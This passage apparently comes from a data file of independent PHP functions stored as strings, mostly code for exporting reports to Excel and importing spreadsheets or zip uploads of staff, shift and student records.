$_GET['exp'] == 'all')\n\t\t\t{\n\t\t\t$row = $row+2;\n\t\t\t$propertyreports = $this->export_property_reports($pid);\n\t\t\twhile($objRow = $propertyreports->fetch_object())\n\t\t\t{ \n\t\t\t\t$col=0;\n\t\t\t\t$fbody = json_decode($objRow->form_body); \n\t\t\t\t$report_name = $objRow->report_name;\n\t\t\t\tif($oldreportname != $report_name){\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row, $report_name);\n\t\t\t\t\t\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->mergeCells('A'.$row.':C'.$row);\n\t\t\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t\t\t->getStyle('A'.$row.':C'.$row)\n\t\t\t\t\t->getAlignment()\n\t\t\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true)->setSize(16);\n\t\t\t\t\t$row = $row+2;\n\t\t\t\t\t\n\t\t\t\t\tif($report_name != 'Equip Problems to Report') { \n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, 'Location');\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, 'Property');\n\t\t\t\t\t\t$i=2;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t$i=0;\n\t\t\t\t\t}\n\t\t\t\t\t$x = 0;\n\t\t\t\t\t$y = 0;\n\t\t\t\t\tforeach($fbody as $fb)\n\t\t\t\t\t{ \n\t\t\t\t\t\tif($fb->field_type != 'fieldset')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif($fb->label == ''){\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\telse \n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif($objRow->report_name == 'Subcontractors Equipment Usage') \n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$fb->label = $fbody[$x]->label.\"-\".$fb->label;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($i, $row, $fb->label);\n\t\t\t\t\t\t\t\t$i++;\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\t$y++; \n\t\t\t\t\t\t\n\t\t\t\t\t\t} \n\t\t\t\t\t\telse \n\t\t\t\t\t\t{ \n\t\t\t\t\t\t\tif($y>0) { $x = $x+3;} \n\t\t\t\t\t\t} \n\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, 'Name');\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, 'Date');\n\t\t\t\t\t$row++;\n\t\t\t\t}\n\t\t\t\t$locname = $this->objFunction->iFindAll(TBL_SERVICE, array('id'=>$objRow->location_id));\n\t\t\t\t$propname = $this->objFunction->iFindAll(TBL_JOBLOCATION, array('id'=>$objRow->property_id));\n\t\t\t\t$uname = $this->objFunction->iFindAll(TBL_STAFF, array('id'=>$objRow->submitted_by));\n\t\t\t\t$date = $objRow->submission_date; \n\t\t\t\t$fdata = json_decode($objRow->form_values, true);\n\t\t\t\t$fields = array('db_location','db_property','rid','user_id','timestamp');\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $locname[0]->name);$col++;\t\t\t\t\t\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $propname[0]->job_listing);$col++; \n\t\t\t\t\n\t\t\t\tforeach($fdata as $key=>$val)\n\t\t\t\t{\n\t\t\t\t\tif( ($key != 'form_token') && ($key != 'send') ){\n\t\t\t\t\t\tif( in_array($key, $fields) === false){ \n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\tif($objRow->report_name == 'Subcontractors Equipment Usage' )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif($val == '') {\n\t\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, 0);\n\t\t\t\t\t\t\t\t\t$col++;\n\t\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\t\telse { \n\t\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $val);\n\t\t\t\t\t\t\t\t\t$col++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telseif(is_array($val)) \n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, implode(',', $val));\t\t \t$col++; \n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $val);\t\t \t\n\t\t\t\t\t\t\t\t$col++; \n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} \n\t\t\t\t}\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $uname[0]->f_name . ' ' .$uname[0]->l_name);$col++;\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, date('Y-m-d h:i A', strtotime($date)));\n\t\t\t\t$row++;\n\t\t\t\t$oldreportname = $report_name;\n\t\t\t\t\n\t\t\t}\n\t\t\t}\n\t\t\t//\n\t\t}\n\t}\n else\n {\n\t$jobdata = $this->report_details($_GET['jid']);\n\t// Set the active Excel worksheet to sheet 0\n\t$objPHPExcel->setActiveSheetIndex(0); \n\t// Initialise the Excel row number\n\t$rowCount = 0; \n\t$row=1;\n\t$propname = $this->propname($_GET['jid']);\n\t$objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n\t$objPHPExcel->getActiveSheet()->setCellValue('A1', $propname->job_listing);\n\t\n\t$objPHPExcel->getActiveSheet()->mergeCells('A1:E1');\n\t$objPHPExcel->getActiveSheet()\n ->getStyle('A1:E1')\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t$objPHPExcel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true)->setSize(16);\n\t\n\t$row = $row+2;\n\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, 'Staff #');\n\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, 'Started By');\n\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, 'Job Start (or unpause)');\n\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, 'Pause');\n\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(4, $row, 'Job End');\n\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(5, $row, 'Completed By');\n\t\n\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true)->setSize(12);\n\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row)->getFont()->setBold(true)->setSize(12);\n\t$objPHPExcel->getActiveSheet()->getStyle('C'.$row)->getFont()->setBold(true)->setSize(12);\n\t$objPHPExcel->getActiveSheet()->getStyle('D'.$row)->getFont()->setBold(true)->setSize(12);\n\t$objPHPExcel->getActiveSheet()->getStyle('E'.$row)->getFont()->setBold(true)->setSize(12);\n\t$objPHPExcel->getActiveSheet()->getStyle('F'.$row)->getFont()->setBold(true)->setSize(12);\n\t// Build cells\n\t$row++;\n\t$count =1;\n\twhile( $objRow = $jobdata->fetch_object() )\n\t{ \n\t\t$col=0;\n\t\t$startdate = date('Y-m-d h:i:s a', strtotime($objRow->starting_date));\n\t\tif($objRow->pausing_date != '0000-00-00 00:00:00')\n\t\t\t$pausedate = date('Y-m-d h:i:s a', strtotime($objRow->pausing_date));\n\t\telse\n\t\t\t$pausedate = '00:00 Null';\n\t\tif($objRow->closing_date != '0000-00-00 00:00:00')\n\t\t\t$enddate = date('Y-m-d h:i:s a', strtotime($objRow->closing_date));\n\t\telse\n\t\t\t$enddate = '00:00 Null';\n\t\t$closedate = strtotime($objRow->closing_date);\n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $count);$col++;\n\t\t$rowD = $this->objFunction->iFindAll(TBL_STAFF, array('id'=>$objRow->started_by));\n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $rowD[0]->f_name.' '.$rowD[0]->l_name);$col++; \n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $startdate);$col++;\n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $pausedate);$col++;\n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $enddate);$col++;\n\t\t$rowD = $this->objFunction->iFindAll(TBL_STAFF, array('id'=>$objRow->closed_by));\n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $rowD[0]->f_name.' '.$rowD[0]->l_name);$row++; $count++;\n\t\t \n\t}\n\t\n\t$staffuploadsdata = $this->staffuploads($_GET['jid']);\n\t$row = $row + 3\t;\n\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, 'StaffName');\n\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, 'Date');\n\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(4, $row, 'Images');\n\t\n\t$objPHPExcel->getActiveSheet()\n ->getStyle('C'.$row)\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t$objPHPExcel->getActiveSheet()\n ->getStyle('D'.$row)\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t$objPHPExcel->getActiveSheet()\n ->getStyle('E'.$row)\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t$objPHPExcel->getActiveSheet()->getStyle('C'.$row)->getFont()->setBold(true)->setSize(12);\n\t$objPHPExcel->getActiveSheet()->getStyle('D'.$row)->getFont()->setBold(true)->setSize(12);\n\t$objPHPExcel->getActiveSheet()->getStyle('E'.$row)->getFont()->setBold(true)->setSize(12);\n\t\n\t$row++;\n\t$supload = array();\n\twhile($objRow = $staffuploadsdata->fetch_object()) // Fetch the result in the object array\n\t{\t\n\t\t$supload[] = get_object_vars($objRow);\t\n\t}\n\tforeach($supload as $objRow1)\n\t{\n\t\t$col = 2;\n\t\tforeach($objRow1 as $key=>$value) {\n\t\t\tif($key == 'images')\n\t\t\t{\n\t\t\t\t$objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(150);\n\t\t\t\t$col = $row;\n\t\t\t\tif (strpos($value, ',') !== false)\n\t\t\t\t{\n\t\t\t\t\t$imgcell = 'E';\n\t\t\t\t\t$img = explode(',', $value);\n\t\t\t\t\tforeach($img as $pimg)\n\t\t\t\t\t{\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->getColumnDimension($imgcell)->setWidth(40);\n\t\t\t\t\t\t$objDrawing = new PHPExcel_Worksheet_Drawing();\n\t\t\t\t\t\t$objDrawing->setName('Customer Signature');\n\t\t\t\t\t\t$objDrawing->setDescription('Customer Signature');\n\t\t\t\t\t\t//Path to signature .jpg file\n\t\t\t\t\t\t$signature = $_SERVER['DOCUMENT_ROOT'].'/upload/'.$pimg; \n\t\t\t\t\t\t$objDrawing->setPath($signature);\n\t\t\t\t\t\t$objDrawing->setOffsetX(25); //setOffsetX works properly\n\t\t\t\t\t\t$objDrawing->setOffsetY(10); //setOffsetY works properly\n\t\t\t\t\t\t$objDrawing->setCoordinates($imgcell.$col); //set image to cell \n\t\t\t\t\t\t$objDrawing->setWidth(200); \n\t\t\t\t\t\t$objDrawing->setHeight(190); //signature height \n\t\t\t\t\t\t$objDrawing->setWorksheet($objPHPExcel->getActiveSheet());\n\t\t\t\t\t\t++$imgcell;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$imgcell = 'E';\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->getColumnDimension($imgcell)->setWidth(40);\n\t\t\t\t\t$image = $value;\n\t\t\t\t\t$objDrawing = new PHPExcel_Worksheet_Drawing();\n\t\t\t\t\t$objDrawing->setName('Customer Signature');\n\t\t\t\t\t$objDrawing->setDescription('Customer Signature');\n\t\t\t\t\t//Path to signature .jpg file\n\t\t\t\t\t$signature = $_SERVER['DOCUMENT_ROOT'].'/upload/'.$image; \n\t\t\t\t\t$objDrawing->setPath($signature);\n\t\t\t\t\t$objDrawing->setOffsetX(25); //setOffsetX works properly\n\t\t\t\t\t$objDrawing->setOffsetY(10); //setOffsetY works properly\n\t\t\t\t\t$objDrawing->setCoordinates($imgcell.$col); //set image to cell \n\t\t\t\t\t$objDrawing->setWidth(200); \n\t\t\t\t\t$objDrawing->setHeight(190); //signature height \n\t\t\t\t\t$objDrawing->setWorksheet($objPHPExcel->getActiveSheet());\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\telseif($key == 'staff_id')\n\t\t\t{\n\t\t\t\t$staffname = $this->staffname($value);\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $staffname->f_name.' '.$staffname->l_name);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t}\n\t\t\t$col++;\n\t\t}\n\t\t$row++;\n\t}\n\t//\n\tif( isset($_GET['exp']) && $_GET['exp'] == 'all')\n\t{\n\t$row = $row+2;\n\t$propertyreports = $this->export_property_reports($_GET['jid']);\n\twhile($objRow = $propertyreports->fetch_object())\n\t{\n\t\t$col=0;\n\t\t$fbody = json_decode($objRow->form_body); \n\t\t$report_name = $objRow->report_name;\n\t\tif($oldreportname != $report_name){\n\t\t\t$objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row, $report_name);\n\t\t\t\n\t\t\t$objPHPExcel->getActiveSheet()->mergeCells('A'.$row.':C'.$row);\n\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t->getStyle('A'.$row.':C'.$row)\n\t\t\t->getAlignment()\n\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true)->setSize(16);\n\t\t\t$row = $row+2;\n\t\t\t\n\t\t\tif($report_name != 'Equip Problems to Report') { \n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, 'Location');\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, 'Property');\n\t\t\t\t$i=2;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$i=0;\n\t\t\t}\n\t\t\t$x = 0;\n\t\t\t$y = 0;\n\t\t\tforeach($fbody as $fb)\n\t\t\t{ \n\t\t\t\tif($fb->field_type != 'fieldset')\n\t\t\t\t{\n\t\t\t\t\tif($fb->label == ''){\n\t\t\t\t\t} \n\t\t\t\t\telse \n\t\t\t\t\t{\n\t\t\t\t\t\tif($objRow->report_name == 'Subcontractors Equipment Usage') \n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$fb->label = $fbody[$x]->label.\"-\".$fb->label;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($i, $row, $fb->label);\n\t\t\t\t\t\t$i++;\n\t\t\t\t\t} \n\t\t\t\t\t$y++; \n\t\t\t\t\n\t\t\t\t} \n\t\t\t\telse \n\t\t\t\t{ \n\t\t\t\t\tif($y>0) { $x = $x+3;} \n\t\t\t\t} \n\t\t\t\n\t\t\t}\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, 'Name');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, 'Date');\n\t\t\t$row++;\n\t\t}\n\t\t$locname = $this->objFunction->iFindAll(TBL_SERVICE, array('id'=>$objRow->location_id));\n\t\t$propname = $this->objFunction->iFindAll(TBL_JOBLOCATION, array('id'=>$objRow->property_id));\n\t\t$uname = $this->objFunction->iFindAll(TBL_STAFF, array('id'=>$objRow->submitted_by));\n\t\t$date = $objRow->submission_date; \n\t\t$fdata = json_decode($objRow->form_values, true);\n\t\t$fields = array('db_location','db_property','rid','user_id','timestamp');\n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $locname[0]->name);$col++;\t\t\t\t\t\n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $propname[0]->job_listing);$col++; \n\t\t\n\t\tforeach($fdata as $key=>$val)\n\t\t{\n\t\t\tif( ($key != 'form_token') && ($key != 'send') ){\n\t\t\t\tif( in_array($key, $fields) === false){ \n\t\t\t\t\t \n\t\t\t\t\tif($objRow->report_name == 'Subcontractors Equipment Usage' )\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\tif($val == '') {\n\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, 0);\n\t\t\t\t\t\t\t$col++;\n\t\t\t\t\t\t} \n\t\t\t\t\t\telse { \n\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $val);\n\t\t\t\t\t\t\t$col++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telseif(is_array($val)) \n\t\t\t\t\t{\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, implode(',', $val));\t\t \t$col++; \n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $val);\t\t \t\n\t\t\t\t\t\t$col++; \n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} \n\t\t}\n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $uname[0]->f_name . ' ' .$uname[0]->l_name);$col++;\n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, date('Y-m-d h:i A', strtotime($date)));\n\t\t$row++;\n\t\t$oldreportname = $report_name;\n\t\t\n\t}\n\t}\n\t//\n }\n\t$rand = rand(1234, 9898);\n\t$presentDate = date('YmdHis');\n\t$fileName = \"report_\" . $rand . \"_\" . $presentDate . \".xlsx\";\n\n\theader('Content-Type: application/vnd.ms-excel');\n\theader('Content-Disposition: attachment;filename=\"'.$fileName.'\"');\n\theader('Cache-Control: max-age=0');\n\n\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\tob_clean();\n\t$objWriter->save('php://output');\n die();\n }", "public function getActiveSheet()\n {\n return $this->activeSheet;\n }", "public function getIndexFile() {\n return $this->index_file;\n }", "public function importExcel(Request $request)\n {\n $this->validate($request, [\n 'file' => 'file|mimes:zip|max:51200',\n ]);\n\n try {\n // Upload file zip temporary.\n $file = $request->file('file');\n $file->storeAs('temp', $name = $file->getClientOriginalName());\n\n // Temporary path file\n $path = storage_path(\"app/temp/{$name}\");\n $extract = storage_path('app/temp/penduduk/foto/');\n\n // Ekstrak file\n $zip = new \\ZipArchive();\n $zip->open($path);\n $zip->extractTo($extract);\n $zip->close();\n\n $fileExtracted = glob($extract.'*.xlsx');\n\n // Proses impor excell\n (new ImporPendudukKeluarga())\n ->queue($extract . basename($fileExtracted[0]));\n } catch (\\Exception $e) {\n report($e);\n return back()->with('error', 'Import data gagal. '. $e->getMessage());\n }\n\n return redirect()->route('data.penduduk.index')->with('success', 'Import data sukses.');\n }", "public function getFilePath() {\n return base_path() . '/lam.json';\n }", "public function fileExtension(): string\n {\n return '.xlsx';\n }", "public function import_file(){\n\t\t$this->load->model(\"payment/M_pa_payment\",\"payment\");\n\t\t\n\t\t$this->data[\"rs_year_exam\"] = $this->payment->get_year_exam();\n\t\t\n\t\t$this->output(\"Payment/v_import_excel\",$this->data);\n\t}", "function testExcelFile($file_names) {\r\n\tglobal $import_summary;\r\n\tglobal $excel_files_paths;\r\n\t$validated = true;\r\n\tforeach($file_names as $excel_file_name) {\t\r\n\t\tif(!file_exists($excel_files_paths.$excel_file_name)) {\r\n\t\t\trecordErrorAndMessage('Excel Data Reading', '@@ERROR@@', \"Non-Existent File\", \"File '$excel_file_name' in directory ($excel_files_paths) does not exist. File won't be parsed.\", $excel_file_name);\r\n\t\t\t$validated = false;\r\n\t\t}\r\n\t\tif(!preg_match('/\\.xls$/', $excel_file_name)) {\r\n\t\t\trecordErrorAndMessage('Excel Data Reading', '@@ERROR@@', \"Wrong File Extension\", \"File '$excel_file_name' in directory ($excel_files_paths) is not a '.xls' file. File won't be parsed.\", $excel_file_name);\r\n\t\t\t$validated = false;\r\n\t\t}\r\n\t}\r\n\treturn $validated;\r\n}", "public function myFileLocation()\r\n {\r\n $reflection = new ReflectionClass($this);\r\n\r\n return dirname($reflection->getFileName());\r\n }", "public function getData($path){\n\t\t$file = @file_get_contents($path);\t\t\n\t\tif($file === false){\n\t\t\tthrow new \\Exception(\"File Not Found\");\n\t\t}\n\t\treturn $file;\n\t}", "function file_import_execute() {\n\t\t$this->load->library('excel_reader');\n\n\t\t// Set output Encoding.\n\t\t$this->excel_reader->setOutputEncoding('CP1251');\n\n\t\t$this->excel_reader->read($this->session->userdata('file_upload'));\n\n\t\t// Sheet 1\n\t\t$excel = $this->excel_reader->sheets[0] ;\n\n\t\t// is it employee shift template file?\n\t\tif($excel['cells'][1][1] == 'NIK') {\n\n\t\t\t$longshift_nik = $this->m_sync_attendance->sync_final_get_long_shift();\n\t\t\t$this->db->trans_start();\n\n\t\t\tfor($j = 1; $j <= $excel['numCols']; $j++) {\n\n\t\t\t\t$date = $excel['cells'][1][$j+1];\n\t\t\t\t$date_int[$j] = $this->convertexceltime($date);\n\n\t\t\t\t$eod = $this->m_employee->eod_select_last();\n\t\t\t\t$eod_int = strtotime($eod);\n\n\t\t\t\tif($eod_int < $date_int[$j]) {\n\t\t\t\t\t$date_arr[$j] = date(\"Y-m-d\", $date_int[$j]);\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tfor ($i = 2; $i <= $excel['numRows']; $i++) {\n\n\t\t\t\t// cek apakah NIK ada isinya?\n\t\t\t\tif(!empty($excel['cells'][$i][1])) {\n\n\t\t\t\t\t$employee = $this->m_employee->employee_select_by_nik($excel['cells'][$i][1]);\n\t\t\t\t\t$employee_check = $this->m_employee->employee_check($employee['employee_id']);\n\n\t\t\t\t\tif($employee_check) {\n\n\t\t\t\t\t\t$employee_shift['shift_emp_id'] = $employee['employee_id'];\n\n\t\t\t\t\t\tfor($j = 1; $j <= $excel['numCols']+1; $j++) {\n\n\t\t\t\t\t\t\tif(strtotime($employee['tanggal_masuk']) <= $date_int[$j]) {\n\n\t\t\t\t\t\t\t\tif(!empty($date_arr[$j])) {\n\n\t\t\t\t\t\t\t\t\t$employee_shift['shift_date'] = $date_arr[$j];\n\t\t\t\t\t\t\t\t\t$shift_code_check = $this->m_employee_shift->shift_code_check($excel['cells'][$i][$j+1], $this->session->userdata['ADMIN']['hr_plant_code']);\n\n\t\t\t\t\t\t\t\t\tif($shift_code_check) {\n\n\t\t\t\t\t\t\t\t\t\t$employee_shift['shift_code'] = $excel['cells'][$i][$j+1];\n\n\t\t\t\t\t\t\t\t\t\tif($this->m_employee_shift->shift_add_update($employee_shift,$longshift_nik)) {\n\t\t\t\t\t\t\t\t\t\t\t/*$shift = $this->m_employee_shift->shift_code_select($employee_shift['shift_code'], $this->session->userdata['ADMIN']['hr_plant_code']);\n\n\t\t\t\t\t\t\t\t\t\t\t$absent['cabang'] = $this->session->userdata['ADMIN']['hr_plant_code'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['tanggal'] = $employee_shift['shift_date'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['nik'] = $employee['nik'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['shift'] = $shift['shift_code'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['kd_shift'] = $shift['shift_code'];\n\n if ($this->m_upload_absent->employee_absent_select($absent)==FALSE) {\n \t\t\t\t\t\t\t\t$absent['kd_aktual'] = 'A';\n \t\t\t\t\t\t\t\t$absent['kd_aktual_temp'] = 'A';\n }\n\n\t\t\t\t\t\t\t\t\t\t\t$absent['shift_in'] = $shift['duty_on'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['shift_out'] = $shift['duty_off'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['shift_break_in'] = $shift['break_in'];\n\t\t\t\t\t\t\t\t\t\t\t$absent['shift_break_out'] = $shift['break_out'];\n\n \t\t\t $this->m_upload_absent->employee_absent_add_update($absent);*/\n\n\t\t\t\t\t\t\t\t\t\t\t$berhasil = 1;\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t$this->db->trans_complete();\n\n\t\t\t$object['refresh'] = 7;\n\t\t\t$object['refresh_text'] = 'Data Shift Karyawan berhasil di-upload';\n\t\t\t$object['refresh_url'] = 'employee_shift';\n\n\t\t\t//redirect('member_browse');\n\n\t\t\t$this->template->write_view('content', 'refresh', $object);\n\t\t\t$this->template->render();\n\n\t\t} else {\n\n\t\t\t\t$object['refresh_text'] = 'File Excel yang Anda upload bukan file Shift Karyawan atau file tersebut rusak. Umumnya karena di dalam file diberi warna baik pada teks maupun cell. Harap periksa kembali file Excel Anda.<br><br>SARAN: Coba pilih semua teks dan ubah warna menjadi \"Automatic\". Sebaiknya tidak ada warna pada teks, kolom dan baris dalam file Excel Anda.';\n\t\t\t\t$object['refresh_url'] = 'employee_shift/browse_result';\n\t\t\t\t$object['jag_module'] = $this->jagmodule;\n\t\t\t\t$object['error_code'] = '002';\n\t\t\t\t$object['page_title'] = 'Error '.strtoupper($object['jag_module']['web_module']).': '.$object['jag_module']['web_trans'];\n\t\t\t\t$this->template->write_view('content', 'errorweb', $object);\n\t\t\t\t$this->template->render();\n\n\t\t}\n\n\t}", "private function initExcel()\n {\n $this->savePointer = function () {\n $arrayData = [];\n $arrayData[] = $this->headerRow;\n for ($i = 0; i < count($this->body); $i ++) {\n $arrayData[] = $this->body[$i];\n }\n $this->dataCollection->getActiveSheet()->fromArray($arrayData, NULL,\n 'A1');\n $writer = new Xlsx($this->dataCollection);\n $writer->save($this->reportPath);\n $this->dataCollection->disconnectWorksheets();\n unset($this->dataCollection);\n header('Content-type: application/vnd.ms-excel');\n header(\n 'Content-Disposition: attachment; filename=' . $this->reportTitle .\n '.xls');\n };\n }", "public function filePath() {\n return $this->baseDir() . '/' . $this->fileName();\n }", "public function importXLS($params) {\n\n $objectId = isset($params[\"objectId\"]) ? addText($params[\"objectId\"]) : \"0\";\n $educationSystem = isset($params[\"educationSystem\"]) ? addText($params[\"educationSystem\"]) : \"0\";\n $trainingId = isset($params[\"trainingId\"]) ? (int) $params[\"trainingId\"] : \"0\";\n $objectType = isset($params[\"objectType\"]) ? addText($params[\"objectType\"]) : \"\";\n\n //@veasna\n $type = isset($params[\"type\"]) ? addText($params[\"type\"]) : \"\";\n //\n\n $dates = isset($params[\"CREATED_DATE\"]) ? addText($params[\"CREATED_DATE\"]) : \"\";\n\n $xls = new Spreadsheet_Excel_Reader();\n $xls->setUTFEncoder('iconv');\n $xls->setOutputEncoding('UTF-8');\n $xls->read($_FILES[\"xlsfile\"]['tmp_name']);\n\n for ($iCol = 1; $iCol <= $xls->sheets[0]['numCols']; $iCol++) {\n $field = $xls->sheets[0]['cells'][1][$iCol];\n switch ($field) {\n case \"STUDENT_SCHOOL_ID\":\n $Col_STUDENT_SCHOOL_ID = $iCol;\n break;\n case \"FIRSTNAME\":\n $Col_FIRSTNAME = $iCol;\n break;\n case \"LASTNAME\":\n $Col_LASTNAME = $iCol;\n break;\n case \"FIRSTNAME_LATIN\":\n $Col_FIRSTNAME_LATIN = $iCol;\n break;\n case \"LASTNAME_LATIN\":\n $Col_LASTNAME_LATIN = $iCol;\n break;\n case \"GENDER\":\n $Col_GENDER = $iCol;\n break;\n case \"ACADEMIC_TYPE\":\n $Col_ACADEMIC_TYPE = $iCol;\n break;\n case \"DATE_BIRTH\":\n $Col_DATE_BIRTH = $iCol;\n break;\n case \"BIRTH_PLACE\":\n $Col_BIRTH_PLACE = $iCol;\n break;\n case \"EMAIL\":\n $Col_EMAIL = $iCol;\n break;\n case \"PHONE\":\n $Col_PHONE = $iCol;\n break;\n case \"ADDRESS\":\n $Col_ADDRESS = $iCol;\n break;\n case \"COUNTRY\":\n $Col_COUNTRY = $iCol;\n break;\n case \"COUNTRY_PROVINCE\":\n $Col_COUNTRY_PROVINCE = $iCol;\n break;\n case \"TOWN_CITY\":\n $Col_TOWN_CITY = $iCol;\n break;\n case \"POSTCODE_ZIPCODE\":\n $Col_POSTCODE_ZIPCODE = $iCol;\n 